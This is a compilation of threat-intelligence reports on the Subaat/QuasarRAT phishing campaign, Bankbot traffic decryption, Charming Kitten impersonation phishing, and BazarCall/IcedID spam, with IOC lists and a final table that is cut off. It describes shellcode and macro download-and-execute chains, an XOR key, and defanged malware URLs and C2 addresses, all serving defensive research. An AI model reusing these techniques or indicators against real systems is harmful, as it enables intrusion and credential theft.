HKLM\SOFTWARE\Piriform\Agomo\NID - used by the 1st stage payload - HKLM\SOFTWARE\Piriform\Agomo\TCID - used by the 1st stage payload - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WbemPerf\HBP - used by the 2nd stage payload - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WbemPerf\001 - used by the 2nd stage payload - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WbemPerf\002 - used by the 2nd stage payload - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WbemPerf\003 - used by the 2nd stage payload - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WbemPerf\004 - used by the 2nd stage payload
# Tracking Subaat: Targeted Phishing Attack Leads to Threat Actor's Repository **Unit 42** **October 27, 2017** **By Unit 42** **Category:** Unit 42 **Tags:** CVE-2012-0158, Downloader, QuasarRAT, Subaat In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others. We’ll discuss how we discovered it, as well as possible attribution towards the individual behind these attacks. ## The Initial Attack Beginning on July 16, 2017, Unit 42 observed a small wave of phishing emails targeting a US-based government organization. We observed a total of 43 emails with the following subject lines: - Invention - Invention Event Within the 43 emails we observed, we found that three unique files were delivered, which consisted of two RTFs and a Microsoft Excel file. Both RTFs exploited CVE-2012-0158 and acted as downloaders to ultimately deliver the QuasarRAT malware family. The downloaders made use of the same shellcode, with minor variances witnessed between them. Additionally, the RTFs made use of heavy obfuscation within the documents themselves, making it more difficult to extract the embedded shellcode. The Microsoft Excel file contained malicious macros that resulted in dropping and subsequently executing Crimson Downloader. The Excel document contained a UserForm that in turn contained three text boxes. The embedded payload was hex-encoded and split between these three text boxes. The malicious macro extracted this information from the text boxes, dropped it to a specific location, and eventually executed the Crimson Downloader payload. Detailed information about these malware samples may be found in the appendix of this blog. A curious aspect of this campaign is the use of Crimson Downloader in this email campaign. To date, we have not widely seen Crimson Downloader being used: in fact, we have only seen 123 unique instances of this malware family being used to date. Readers may recall a previous blog post from March 2016 that discussed Crimson Downloader. That blog post discussed relationships with both Operation Transparent Tribe and Operation C-Major, which were both targeted campaigns that made use of Crimson Downloader aimed at diplomatic and political targets. The connections we observed in this research lead us to believe there might be a connection between this most recent activity we observed and those campaigns. However, there is not enough evidence to say so decisively. ## Expanding the Scope from the Original Attacks When looking at the various malware samples encountered as we analyzed this campaign, we identified a total of three hosts/IP addresses, as shown in the following chart: - **5.189.157[.]215**: Crimson Downloader connects to this IP address. - **115.186.136[.]237**: QuasarRAT connects to this IP address. - **subaat[.]com** (Resolves to 23.92.211[.]186): RTFs download QuasarRAT from this host. Starting with the first IP address that was used by Crimson Downloader, we can see that this address appears to be located in Germany and is almost exclusively associated with this malware family. Based on our telemetry, this IP address has exclusively been used to communicate with Crimson Downloader. We observed a total of 16 unique Crimson Downloader samples starting in May of this year. Moving onto the second IP address of 115.186.136[.]237, we see that this IP address belongs to a Pakistan-based Internet Service Provider (ISP), based in Islamabad, that services both residential and commercial customers. The subaat[.]com domain has historic WHOIS information from early 2016 that references a Pakistani location. Additionally, it uses pkwebhost[.]net for its DNS, which is a Pakistan-based hosting provider. The references to Pakistan in conjunction with the use of Crimson Downloader, which has historically been associated with Pakistan actors, is certainly interesting. The RTFs we observed in the original email campaign downloaded QuasarRAT from http://subaat[.]com/files/sp.exe. Checking this host led us to discover that directory listings were enabled. We were able to discover a large repository of malware on this open server. Since beginning this research, this domain has been suspended by the hosting provider. However, it returned in mid-August, hosting both a malicious APK and a known instance of QuasarRAT. In total, we found 84 unique malware payloads hosted on this server, in addition to a number of miscellaneous scripts. The chart below shows the malware families we identified: As we can see from the above chart, a wealth of different malware families were stored on this web server. Many of these malware families are considered to be commodity malware, or widely used by criminals. Palo Alto Networks has reported on many of these families in the past, including LuminosityLink, QuasarRAT, and DarkComet to name a few. The large number of commodity malware families paints a very different picture from the original attack that made use of Crimson Downloader, which is not a widely used malware. A full list of SHA256 hashes associated with these samples may be found in the appendix. One thing that caught our eye was the large number of LuminosityLink malware samples stored on this server. Looking at the embedded configuration settings for these samples, we see that they are all similar. The following example shows one of these configurations. A script written in a previous blog post was used to generate the output below. The email address shown above is used to register a customer’s copy of LuminosityLink. All samples using this registered builder contain this email address. We found all 20 of the identified LuminosityLink samples contained this same email address. The primary domain shown above is registered to 115.186.136[.]237, which is the IP address used by QuasarRAT for Command and Control (C2) communications. Looking at other samples found within the web server repository, we identified a number of malware families communicating with this IP address, including the following: - QuasarRAT - LuminosityLink - Meterpreter - NJRAT - RevengeRAT - RemcosRAT We also discovered that the email address discussed above was being used by an account on the popular HackingForum web forum service. The account in question that claims to own this email address is none other than ‘Subaat’. Looking at this user’s profile, we can see their posting history: a total of 14 posts in the past two years. We also see a date of birth of 2/24/1990, stating that the individual is 27 years old. A quick look at the posting history indicates that this person was inactive starting around December 2016, but returned to posting in early July of this year. This is in line with the campaign witnessed against a US-based government organization that took place on July 16th. The posts look to be related to various Office exploit builders and crypters. This again is in line with both the campaign we witnessed as well as the various malware we identified on subaat[.]com. ## A Look Behind the Scenes Looking at logs for the subaat webserver between July 1st and July 20th shows the IP address of 115.186.136[.]237 uploading and interacting with a number of malicious files. We found interactions with a total of 64 unique files during this period. Below is a chart showing the attacker at this IP address interacting with some of the more popular malware families that have been identified. As we can see from the chart above, a spike of activity took place in the July 11th to July 16th timeframe. This again is consistent with the email campaign that took place in the midst of this period. A number of malware families have been used by this specific attacker, and many of them are configured to communicate with 115.186.136[.]237 as the C2. ## Conclusion What started out as a simple look into what appeared to be a targeted phishing campaign turned into much more. By the end of this research endeavor, we have identified a server hosting a large number of malware samples that has been primarily used by one specific IP address. This IP address not only interacted with this web server, but also acted as a C2 server for many of these malware families. While looking at malware associated with this actor, we discovered an email address that is tied to a user account on HackForums that has a name consistent with the domain used to host the actor’s malware. We saw similarities in this campaign and both the Operation Transparent Tribe and Operation C-Major campaigns. Additionally, there is marginal evidence that suggests that the attacker may be based in Pakistan, which is again in line with Operation Transparent Tribe. However, the overall evidence is not conclusive, and there is insufficient proof to say decisively that this is the same threat actor. Palo Alto Networks customers are protected by this threat in a number of ways: - All identified samples are flagged as malicious within the Palo Alto Networks platform. - All domains identified within this research have been appropriately marked as malicious. - Traps correctly identified and blocks the exploits using CVE-2012-0158 and CVE-2017-0199. ## Appendix ### Analysis of Malicious RTF Documents The two identified samples that were used in a campaign against a US-based government organization have the following SHA256 hashes: - 0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301 - 9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d These samples varied in size greatly; however, the underlying shellcode was consistent. One notable difference observed in one of the samples (0ade05…) was the inclusion of injecting the shellcode into a newly spawned instance of svchost.exe. When the shellcode begins, it will start by loading a number of functions that are used to inject code into svchost.exe. The following Python code demonstrates how this hashing function operates: The shellcode continues to decrypt a blob of data using a 4-byte XOR key of 0x8F51F053. This blob contains a series of important strings, such as the URL and filename, as well as functions that will be used to download the payload. After this blob is decrypted, flow control proceeds to this blob’s code, where the shellcode will load multiple libraries and functions using a specific hashing algorithm. The shellcode continues to download a file to the %TEMP% directory from the following URL: http://subaat[.]com/files/sp.exe The shellcode proceeds to execute this newly downloaded file prior to exiting. ### Analysis of Malicious Excel Documents The identified sample that was used in a campaign against a US-based government organization has the following SHA256 hash: e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621 When this sample is initially executed, it will attempt to run a malicious macro that is embedded within the file. This macro begins by determining where a dropped file will reside. It will attempt to find the following folders residing within a user’s profile path: - /Documents - /Downloads - /AppData The payload itself is stored within text boxes in a user form within the Excel document. This data is extracted and hex-decoded. The three blobs of data are concatenated to form a proper PE32 executable. A quick look at the included user form gives us a better view as to how this data is stored. The following example Python code demonstrates the hex-decoded data shown in the highlighted text box above. After this data is properly handled, the macro will drop this file with an extension of .scr to the designated file path. It is then executed in a new process. This newly spawned process is an instance of the Crimson Downloader malware family. ### SHA256 Hashes - c4c478c5486a09ac06e657ace2c1edb00cc690a2ff3558598e07687aa149df71 - 6b6ff0bef244732e90e7a8c200bcd1d8db6f58fe4da68889eb847eb1b6458742 - 07cb90288ae53643a4da291863df6c9be92bfd56b953073e30b7c28c777274fc - 66ef8f3660902cba0ca9bebd701d322aff1d5a13de0cf63cf3f1b8841e08efc6 - 20c949ca25fed25918e524dde67ffe44efb1c974a5ed68d519b77354303c4916 - 007e4b308a69d6c3dba5a01f754a63231b996f1a68ff43ec9b5906f583f0fc6b - f7d2f547d5ab07abf59f97fb069288d682a20bc9614642777d11c7db76b36f39 - 20e368b0d0288b968fed7193c965a7c7ecf3e731eb93a4cbd4420242fad7ce8c - 9ddc4ba7a8025598b6a8344c5537af3e2ae6e6db8356dcbfc9ad86b84dee87af - 95c00b3de53c0b5742c182f9221a3086bf046ad8da57c915e8c0b6dc5180fd7f - 0804202f46dc94768820cb0915b8d2b36602575ac78e526ea7f518e584069242 - 914b6f21297ebb81621b6da00edcda59b4c1fdd06329ed7a587c9a9b09915583 - 2a73231d0480f7481737256a8dca6b2549db982cc10f1761c2a267eb85dcaca4 - 67d4ab365f1630e750aee300f14fbfc940ea235647014030bd56c4127933834b - 41efb2f1cb81160539058d8fc2ca8c037692803dcb8b332c660233bffe5bf874 - e51b8bf7cc72b47c8ee59056fabd2af1795152d8df33967949d2d2a0996cc51b - 4c6f7aafc2e4d8b0b7e7f21cbb102e02dc314eeb2f8e754f59ea471f58cabda0 - 3a664210955a82d961480adcc914456931325268ccf26c09d0275ca1d2ff35f1 - 5cc14c2bc185121391a7c43e3e65ced4697274e93fe42f28f20c067dde7e9f1d - f19480d36453da029247fbd066c7f0c1b28912bbefafd052b1d4ee9a64eb9e31 - 6bbb87f05d9d987a3df3bb585de3f2fad5d5cd3f11a0e3c4587255c55a9fe2a5 - 75da69e466183b0d004719d32f779cd5b7849a6dac0b6303e11db543c0ddec32 - a0a2edcd19a581aeba3de5bbca21065425fbf34fd1a798269ff99bd8af8bf847 - 2c34565535a0f90b469f0e100d9027190d3cd812bd824aa6af73b4884690a395 - 50c4f3d3335daf84d507ed2663a411d2ce39e9def172ddbaf7ade0f2ce0f2736 - a8445387cb7e4bc79da34d371eedf50f265e145ce8f48c64aeff2690ed7f8b10 - 7218bc4e9b8817eff678422a9125a852c3f66ecf275aa691433dd8cd4910f66d - 106938bff25de67513acc809c4c77b2aa9e9974ec8bf4d20bad154015abc77be - 85116c4f9695bf15fe3fdcb20cff8634971e39c2b97b1a159446fa6cdf05e913 - 253bb91003a8c295a70240206605542147d7b9fdc2d26ac999772b3b78db3a80 - 2d5abd4cc322d5802617d6a1cd3fc22403052e2711bf6bd76976ab7d1cea45cf - e0d6e8584f2d3d6d807ad2fe9d2fccc792635e8e3ab0132f3b5dedc0394019c9 - 625f30d4abd89b94c1f732463202c51cd9424a1bcbf2e72a9779773c0f82f93c - 6807c25ead1c377c975c84a214da8a68482623658369a02ce56b531d6f38a5b6 - dfb984ea975ca992e1a0f9a6d30a41057edd36b170704b7831f609f44f80ad8d - ed9fb1d8c36fb60c808006ae63908980a259cb73ed44adf19856ea6c239d1eab - 1f286fff72a562cd327985a1b57316364710f2cbfeedc46d12dc8d21b4611ecb - 4da2fd94b4f21a346ebfa5d8793dd60a1d4200dfe6b91517a70aed4c0b59a4d4 - 983bc61d569839558e2a2ef2a53174efe45be4e65da991268ce1926beb4e3505 - 7b1ab4513788ef4b6628911ba6ed6362eb357b66d18f6988fb4ceffb20ee1d91 - 8c93d054d4ef93f695da9693f6de538e269b39320c934428f27cc22ef6b2d89e - cd873eaded83861c4f59bfb5c902b43bfd7f5ecb13eccc385498ad9564085e97 - e63f0ab5413b0013d79c57f8132c21c0c9397c88caa01edbb4fbe6c2db4932a0 - 24bc5f9aa78d91d6c8641b90cac6d3c3e7ddf4b30a992a9129d73c5edb04f80f - 89ac4eeaecd38fcb2eb8e0bacd156b6133a6093f44622f7d82e22493a69cafb7 - 07abc1eb421baffe4f894406c1435b3daf8d1dcfba53d8e4e8f584cf72d08110 - 2941360679ea485798e324e3538c358cf6cba65959ebf28df9fd4a5492bf2888 - dbac3abbaaea59c8287d3ed47cac07aeca952a3620eda4559c2bf0f3f611d52e - efca910066b59ca833c7291d07f18922cf5e3e2301c5fd95b7acd50f195fc580 - a331276b9810ebc131daf883887a0ba8ab0fb5e6ea4671b12249c1be1755fce8 - 31d94441009e7ea50d880e1dcc9e09890f1139bce9edc847b05f2c5ac355695e - c3eeb0677dcbfe4edb6cca9c5bac34ae80a5906b76676548ef0e5110f3ddd4c3 - e68ea3c3c9bb0d5b0d4f940b0cbbfb6913a47bb6f345b54f487241fc4eec4b31 - 83810647cd0c398ad05dec63c41756bf5fbfd1b0658379753c157e7b1f45aed3 - dfb4f62c609be0295ef1c4fcd59c5897fbd0ad40a82d00a93e7f3bdadcc1d320 - 23180df75c5b9293f3743ea27c09ce471f1f5541cd668ac22c16e41f1ff7b4da - ef09065b95d0ea2e02384828e5616fc6f9ededadb2b4719078904c50d2ed4307 - 923818d36ff1fd94829424847ac20ab7d77432b133cdb5cb1a1be87ec0e1b617 - 4cbc47fe5d82145265e8dbc9e81ab6afa9a0a4f3c6dd8c15ce2af09584278517 - 670e45f3e2fbb635df00790d90a5cf8bc950440a935b38c2bb71f0c463c24b3b - 2551d883d3e66a3e7bcabc052be2e503808df570c03d816ddfb83bf6e686a5f6 - 712a8fa4308de2ba1a83545e96539092215c75bfa8b63b33ee1a739cc6522873 - 7e09b6d96d7034f1ac5947355dba360cc49f53d4c0c89aab05c1ef6cc2d0a213 - 801bb690dd2ecd3877b014030dfca40f3b7d964fdb8e1ab1252352212e24f777 - fae9b4a92277e227f6122794ef366dba49c045add9569e9a0d8fc66196c5c787 - 2bfbd56ee421b8aab3dd3d1f9e9a2d512556a4e0440c8f04e94d6ad5b584e43c - 35bc123df7bfc8f9239af3fa14350091c513e7b1d42b93a8dca39e131c48c052 - 87d122b7b99735689713ff51650b6a331d9c4d7f7617fc15b7e07b0225b60c2a - 0b2a6225d209783672900d1b8e0b19957cb924f0111d0be347dead9520ad745a - 5f3845a1e3d2f3d09c3ffff4a71e04f61d995aae54311d4c9ab88ff65803d131 - 5c361d57ac83936d08c4a93208142b7397d6074bbf6e24cb6cee0e3e3e5351b3 - ea35cf979b358c1661b4b1b9465a700925bdf4ba227989b47127270e32345f29 ### IP Addresses - 5.189.157[.]215 - 115.186.136[.]237 ### Domains - subaat[.]com - hassanusauae786.hopto[.]org
# Trending Evil Report Q1 2022 Trending Evil
# Decrypting Bankbot Communications There's been an increase lately in the number of Bankbots found in the wild. The latest one was seen on Google Play masked as a "fun" application. However, it downloaded a remote payload which contained this malware. Bankbot is an Android banking trojan that can be found in underground forums. It can be downloaded without paying a penny, making it a choice for many people. This is why we see increasing numbers, with some variations but maintaining most of the original schema. Its functionality covers a wide range: - Get device data - Intercept SMS - Overlay applications - Send stolen data to remote C&C This looks like a normal setup for an Android banking trojan. However, these communications are taking place under an 'encrypted' schema, thus not allowing us to see them. We are releasing a script to decode them given the passwords after a few weeks of testing on different Bankbots, thanks to the encryption routine on the server-side. The script requires two parameters: the first one being the password and the second one being the payload. Once we get this data, it's easy to retrieve the information. Say this is our example payload: And we are given the password `mkleotrghyua`, then we just have to introduce this data in the script and we will recover the original information. And this is it! All communications can be decrypted provided you have the password. Some samples: - `74ace3a2af372887852ddf099db153d986326d926c1bfa3f86219213dbb06a18` - `2dfde3d394b7eaf3a45693dc95f9c5540c9fd2b3bc7e89e9ebc9d12963c00bee`
# Charming Kitten: “Can We Have A Meeting?” ## Important puzzle pieces of Charming Kitten's cyber espionage operations Charming Kitten (known as APT42, ITG18, UNC788, TA453, PHOSPHORUS, Yellow Garuda, also APT35) is an Iranian state-sponsored threat group that conducts persistent cyber espionage operations to have extensive surveillance of targeted Iranian and foreign citizens, who have strategic intelligence value for the Islamic Revolutionary Guard Corps (IRGC). Charming Kitten actors have targeted individuals, academics, journalists, activists, think tankers, institutes, organizations, military and government sectors in the United States, European, and Middle Eastern countries since as early as 2014. Although a number of technical reports in recent years show that they used multiple vulnerabilities, semi-advanced and unique tools against different sectors and targets, they predominantly use ‘spear phishing’ methods with gold ideas in their cyber-espionage operations. The Charming Kitten hackers use a combination of fictitious personas, impersonation, and abuse of well-known people’s hacked online accounts in their sophisticated attacks, which is how some attempts are successful. Additionally, as part of the social engineering scheme, they build trust with potential targets in the initial stage, and sometimes they try to have lengthy conversations with victims that can last for several days, and then trick them into clicking on malicious links at scheduled times. “Interview,” “Meeting,” “Discussion,” and “Cooperation” are the most common topics in their phishing scenarios. Furthermore, it is evident that they are always active, and by reviewing the activities of this group, we can say that they regularly have ongoing campaigns throughout the year. Based on our recent investigation at Certfa Lab, APT42 has been running multiple phishing campaigns since late 2021, and some of them are ongoing and still active. We believe, based on the details from the latest infrastructure indicators used by Charming Kitten, the similarities between these attacks and related techniques are still important knowledge for the public audience and potentially at-risk individuals. As a result, in the following report, we briefly described some examples of these attacks for public awareness. ## Operation Alfa: French National Center for Scientific Research Samuel Valable is one of the researchers at the French National Center for Scientific Research (CNRS) who is a specialist in imaging and therapeutic strategies for cancers and brain tissues. Our latest findings showed that the Charming Kitten hacking group impersonated him on social media platforms, using his academic and professional background in CNRS, and created accounts under his name. The Iranian state-backed hackers created a fake LinkedIn account and then targeted researchers and academia in other countries to collect intelligence and hack their accounts. For example, in one of their operations, the hackers initiated a conversation with a professor at one of the universities in the US via a fake profile on LinkedIn, by impersonating Samuel Valable. The novel and important part of this conversation on LinkedIn Messaging is that all sent links by Charming Kitten were legitimate and real, and they did not send any phishing links or malicious files to the target. At the end of their conversation with the target, the hackers sent a link for a video call from Zoom and asked the person to have a video call conversation with them. The attacker used frames of a fake video (from an unknown source) for webcam input on the Zoom call and explained a long story about the research background of Samuel Valable, trying to engage with the target. After the hackers got the target’s interest, they shared a link with the target in the middle of the call and claimed this was the book they talked about. While the link was a fake login page for Google, if the target entered their username and password in the phishing form, the attacker would capture these details and gain access to the target’s Google account. The subdomain is hosted on Hetzner Cloud GmbH servers, which was used for other phishing domains as well, such as mail-download-attachment.xyz and france24.live. Additionally, attackers used this server to host the fake/clone website of the Islamic Republic of Iran’s Embassy in France, according to the historical records of RiskIQ. Based on the previous operations of Charming Kitten and from our analysis, we believe this server has been used by Charming Kitten to run cyber espionage operations against public figures, researchers, academicians, organizations, and institutions linked to France. We are certain that Charming Kitten used this method to hack online accounts of a few researchers in the last year. Although we cannot accurately calculate the total number of victims that Charming Kitten has targeted by using the fake profile of Samuel Valable, we believe the number to be high. There is also the chance that Charming Kitten has impersonated other members of CNRS. ## Operation Bravo: Middle East Institute Paul Salem is president of The Middle East Institute (MEI). This institution is working on providing non-partisan analysis and promoting greater understanding between the people of the US and the Middle East. We have discovered that Charming Kitten has impersonated Paul Salem and contacted Iranian and non-Iranian activists who work on different topics in the Middle East. They invite individuals for collaboration and partnership in areas where the target is a well-known expert. According to analyzed samples, it appears the attackers targeted at least one LGBTQ+ activist and a media manager with the fake email addresses of [email protected] and [email protected], impersonating Paul Salem. Same as Operation Alfa, after a series of conversations to build trust with the targets, in this campaign attackers use phishing links through a live-load.online domain and send it to the target to steal the victims’ Google account credentials. It is noteworthy that in some cases, Charming Kitten does not send phishing links without proper planning; they calculate when the target is ready to enter credential details to log in to an account. For example, they send phishing links during an online conversation or after finishing the conversation. At the time of writing this report, this domain is hosted on Hetzner Cloud GmbH servers. Apart from this domain, view-online.live, load-panel.online, and panel-archive.live are hosted on the same server and are affiliated with other Charming Kitten servers and domains. According to Paul Salem’s tweet on 5 March 2021, emails of scholars and experts at the MEI were targeted by the foreign-government-backed hackers, and we believe these hackers are Charming Kitten. ## Operation Charlie: Atlantic Council Hagar Hajjar Chemali is an American political commentator and one of the nonresident senior fellows at the Atlantic Council’s GeoEconomics Center. She is an expert on sanctions, counter-terrorist financing policy, and the Middle East. According to our findings, Charming Kitten impersonated Hagar Hajjar Chemali in at least two cases and contacted two different targets, where in one case the hackers managed to take control of the Twitter account of a minority rights activist. In these two cases, the Iranian state-backed hackers sent a fake online meeting link and then redirected the target to a phishing website. The target groups for this impersonation operation were political, media, human rights defenders, and women rights activists who are experts in the Middle East. In this case, where one of the victims was a minority rights activist, the hackers used a short link in the fake pages on Google Site. This domain was previously used in the TA453 (also known as Charming Kitten) PDF sample, which was mentioned in the Proofpoint report in July 2022. Also, in another case related to this hacking campaign, Charming Kitten contacted journalists, human rights defenders, and women rights activists inside and outside Iran through a fake Twitter account, Elina Noomen. In at least one case, the hackers contacted a victim with this fake Twitter account and claimed they were working with Hagar Hajjar Chemali and would like to have an online meeting. The hackers used phishing links to steal email account credentials of the victim and took control of the other online accounts of the victim. After hijacking the victim’s Twitter account, they used the account to start contacting other activists to collect specific information such as the names of Iranian women’s rights activists living in Iran, Iraq, and European countries who are seeking and eligible for financial support. This kind of data is significant for Iran’s regime and can lead to the arrest and detention of activists on charges of cooperation with foreign countries. Our investigation shows Hagar Hajjar Chemali is not the only member of the Atlantic Council who was impersonated by Iranian state-backed hackers, and other members were impersonated in recent months. It is also important to mention that a part of this operation infrastructure has an overlap with the Meta report in Q1 2022 about the Iranian state-backed hacker’s cyber operations, in which UNC788 (also known as Charming Kitten) hackers targeted people in the Middle East, including Saudi military, dissidents, and human rights activists from Israel and Iran, politicians in the US, Iran-focused academics, activists, and journalists around the world. ## Operation Delta: Further Cyber Ops Hussein Ibish is the senior resident scholar at the Arab Gulf States Institute in Washington, who tweeted about an impersonation operation of him on 29 June 2022. According to his tweet, hackers created an email address, [email protected], and sent phishing emails to others to steal the credentials of multiple targets. Later on the same day, Claudia Gazzini, who is a senior Libya analyst at the International Crisis Group (ICG), published a thread on Twitter and said hackers contacted her via an email and set up an interview with her, and the hackers did a long interview with her. After the interview, the hackers sent a phishing link to Claudia Gazzini as a draft of the interview for her review. Additionally, Dareen Khalifa, a senior Syria analyst at ICG, said her colleague and herself received an email from [email protected] and the attackers also contacted them via +1 (951) 638-0854. It is noteworthy that these people are not the only individuals who are impersonated by hackers or targeted by sophisticated attacks. Various documents show many people and organizations have recently been attacked by Charming Kitten. Due to the similarity with other cyber espionage operations of Charming Kitten in terms of techniques and infrastructures, we can confirm that these attacks were carried out by Charming Kitten. ## Conclusion And Recommendations Although the mentioned examples in these operations are small pieces of Charming Kitten’s cyber espionage operation puzzle, we believe these snippets are crucial for the general public and at-risk individuals to create awareness and encourage the public and at-risk individuals to act with caution when dealing with unsolicited communication online. We also believe this operation is still active on a large scale and this hacking group has sophisticated phishing attack methods such as impersonation to attack many other organizations and individuals. According to our findings, Charming Kitten has increased its interest in cyber espionage against individuals who are experts in different areas in the Middle East and North Africa, particularly Iran and Syria. We strongly recommend using secure multi-factor authentication such as two-factor authentication with security keys for online accounts and also enable an Advanced Protection Program for Google accounts. Vetting the legitimacy of a request for an online meeting is vital, as we have seen that sending an invitation to have a video/audio call has become a permanent method of the phishing operation of Charming Kitten to obtain credentials. One of the best ways to check the legitimacy of these invitations is to double-check them through another channel with the sender or ask a friend/colleague who might know the person and cross-check the legitimacy of the meeting request.
# A Spike in BazarCall and IcedID Activity Detected in March We discuss the cases of BazarCall and IcedID we observed in March. Both are known for the use of spam to deliver their payloads. By: Raphael Centeno, Don Ovid Ladores, Lala Manly, Junestherry Salvador, Frankylnn Uy We observed a spike in BazarCall and IcedID activity in March. One thing these two campaigns have in common is the use of spam that leads victims into downloading malicious files. BazarCall takes a more roundabout approach by involving phone calls in its campaigns, while IcedID stole and repurposed real email conversations to make its malicious spam more convincing. Based on separate reports on BazarCall and IcedID, both have been actively distributed through spam campaigns in March. This is also reflected in our own findings. ## BazarCall BazarCall was named for its use of phone operators to instruct users into downloading a malicious file that typically leads to the payload BazarLoader. BazarLoader was discovered in 2020 and is linked to the developers of Trickbot as well as in campaigns involving the well-known Ryuk ransomware. We saw a surge in its activity in March, with most of its targeted victims residing in the US, followed by Germany and India, based on the number of spam mail containing BazarCall that we have detected. BazarCall’s routine starts with a spam mail stating that the victim’s free trial period for a service rendered by the fictitious company “Medical Reminder Service” is about to end. This is the same company name used in the BazarCall campaign that Bleeping Computer reported. The campaign we have observed largely follows the pattern described in their report. In the email, the user is directed to call a provided phone number to unsubscribe and avoid being billed monthly charges. The phone operators will then instruct the user to go to a webpage to unsubscribe. This page is the malware chain’s download page. Once the victim enters their subscription number, the site automatically downloads an Excel document that is made to look like a regular form, but it’s actually a malware-embedded file. The phone operator continues to guide the user into unwittingly enabling macros that will drop a malicious binary in the folder C:\Users\Public. The embedded malware will first attempt to send the command “ping” to the initial command-and-control (C&C) server where the likely response is the second stage download URL, delivering the final BazarLoader payload. Unfortunately, at the time of our analysis, we were unable to test any of the C&C servers for live activity. BazarCall also distinctly makes use of Campo Loader, which appears to be a malware-as-a-service (MaaS), to deliver its final BazarLoader payload. We continue to monitor developments for BazarCall. At present, the surge we saw in March seems to have tapered off in April. ## IcedID Meanwhile, IcedID is a banking trojan first discovered in 2017. It has been used by the threat group Shathak or TA551 in 2020. The group used malicious spam that contains a password-protected Word document with malicious macros. Similar to BazarCall, we saw a spike in IcedID activity last month. IcedID campaigns are known for using stolen real email conversations on which they attach their malicious files in zip format. This was the same tactic we observed. If the attachment is opened it would contain an XLSM file. This file uses a simple stealth technique — a hidden column containing malicious formulas in white text, making it invisible to the victim unless they unhide and highlight the column. If the victim runs the macro code, it will download a 64-bit .dll file, which is the IcedID in binary. Our detections for IcedID show continuing activity going into April but as with BazarCall, these have also decreased in number. ## Implications and Security Recommendations The use of spam is a traditional and staple way of delivering malware. Attacks that use such methods can resurge whenever threat actors find a way to make their fake instructions and messages more convincing. Threat actors are also on the lookout for situations where users are especially susceptible to such schemes. Remote work conditions or the use of timely topics, for example, can make users less vigilant. These scenarios are exemplified by BazarCall and IcedID. The use of phone calls and the BazarCall operators’ adoption of a regular company identity has had victims convinced of the bogus service and subscription. While IcedID’s continued use of stolen conversations allows it to avoid many of the usual indicators of a malicious email. IcedID has also recently used emails centered on the Covid-19 pandemic to trick its victims. Users need to be especially wary of the tactics that BazarLoader and IcedID employ as they have also been used to deliver other payloads such as well-known ransomware families. As mentioned earlier, BazarLoader has already been linked to Ryuk. IcedID was very recently used to deliver Sodinokibi, and was used in Egregor ransomware attacks. Here are some of the best practices businesses and users can adopt to defend against threats such as BazarCall and IcedID: - Always check the email sender, subject, and body for anything suspicious before downloading and opening email attachments. Be wary of unsolicited emails with unknown senders. - Check the file extension of the attached file and make sure it is in the intended file format. - Only activate macros for any attached Microsoft Office files when necessary. Be especially wary of emails that request macro activation using an image of the body of the opened file or those that don’t show anything. - Watch out for spoofed domains embedded in emails before opening them and do a quick search of the company or website used in emails to check their legitimacy. ## Trend Micro Solutions Organizations can benefit from having Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security. These can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs. The Trend Micro Deep Discovery™ solution has an email inspection layer that can protect enterprises and users by detecting malicious attachments and URLs. Trend Micro Email Security delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions. Phish Insight provides the most effective phishing simulations and cybersecurity awareness training modules on the market. Powered by Trend Micro, the Phish Insight team creates a simulation template library based on billions of real phishing samples as well as a fully automated and staggered delivery system that makes the simulation emails even more convincing. Not only integrating the best and the most prevalent training modules from around the world, Phish Insight also allows users to customize their own training programs. Phish Insight enhances information security awareness for organizations by empowering people to recognize and protect themselves against the latest cyber threats. ## Indicators of Compromise (IOCs) ### BazarCall | SHA256 | Detection | |-----------------------------------------------------------------------------------------------------|------------------------------------| | 056809e596895320397378f7f3ff4958107e48f4890a960229dcfbc32b7379b7 | Trojan.X97M.BAZAR.YABCZ | | 0606be9a1e3e32dc452cdd0ee48c3cecdb045545fa01789f580c197cefd220a4 | Trojan.X97M.BAZAR.YABCY | | 06c38b4c73015d04536d80262bb531183bead459371dd6db86a40dfccbdf236a | Trojan.X97M.BAZAR.YABCY | | 0e266ef60c8059c2c828de3e77fd68a49e50626d7b0d4d659afd03806247d5bc | Trojan.X97M.BAZAR.YABCYT | | 13141db5db00c63f5f7a2cd33f35d9236956f9ae7767725564693dbab6b14f10 | Trojan.X100M.BAZAR.YEBCX | | 151308d22127e12066636627acb269e6ac71aa99cca1ac9dd00b582de3b5e0cd | Trojan.X97M.BAZAR.YABCY | | 15a1cd485f5b09fa05c46ec81d7eaaaa1e71bfd3b19e3465f555704dbfadce31 | Trojan.X102M.BAZAR.YEBCX | | 1681ae715209131c86f885453e3abd627de1edab974294b73789dfd396d2793e | Trojan.X97M.BAZAR.YEBCW | | 16bfc0c0fcb0ccb6bb27cdc4178d08538c0b18c146d93a3a44be5fb15d8d43cb | Trojan.X97M.BAZAR.YABCY | | 1c293c65680d01a8503c477f7d8f46cfbc62ce4fa6e507a4c0ae7436f33efa08 | Trojan.X97M.BAZAR.YEBCX | | 1eba154cdc2e540704eebfaca2f51fb643c44129911eb9b668f82ab95c1b157d | Trojan.Win64.BAZARLOADER.YABCY | | 2032cca770ec5bb02896b5b098f00564add5a5ee528973aa264fa85cdb1b1375 | TrojanSpy.Win32.EMOTET.YABCY | | 204ddd2c357d7d5a5d30761f2da8363a3d26e1717e90ccc69b00b7be456f4092 | Trojan.X97M.BAZAR.YEBCX | | 20cd67833a009771483fed52ad8450d1614df7843715eb67250dd605780d1e8b | Trojan.X97M.BAZAR.YABCY | | 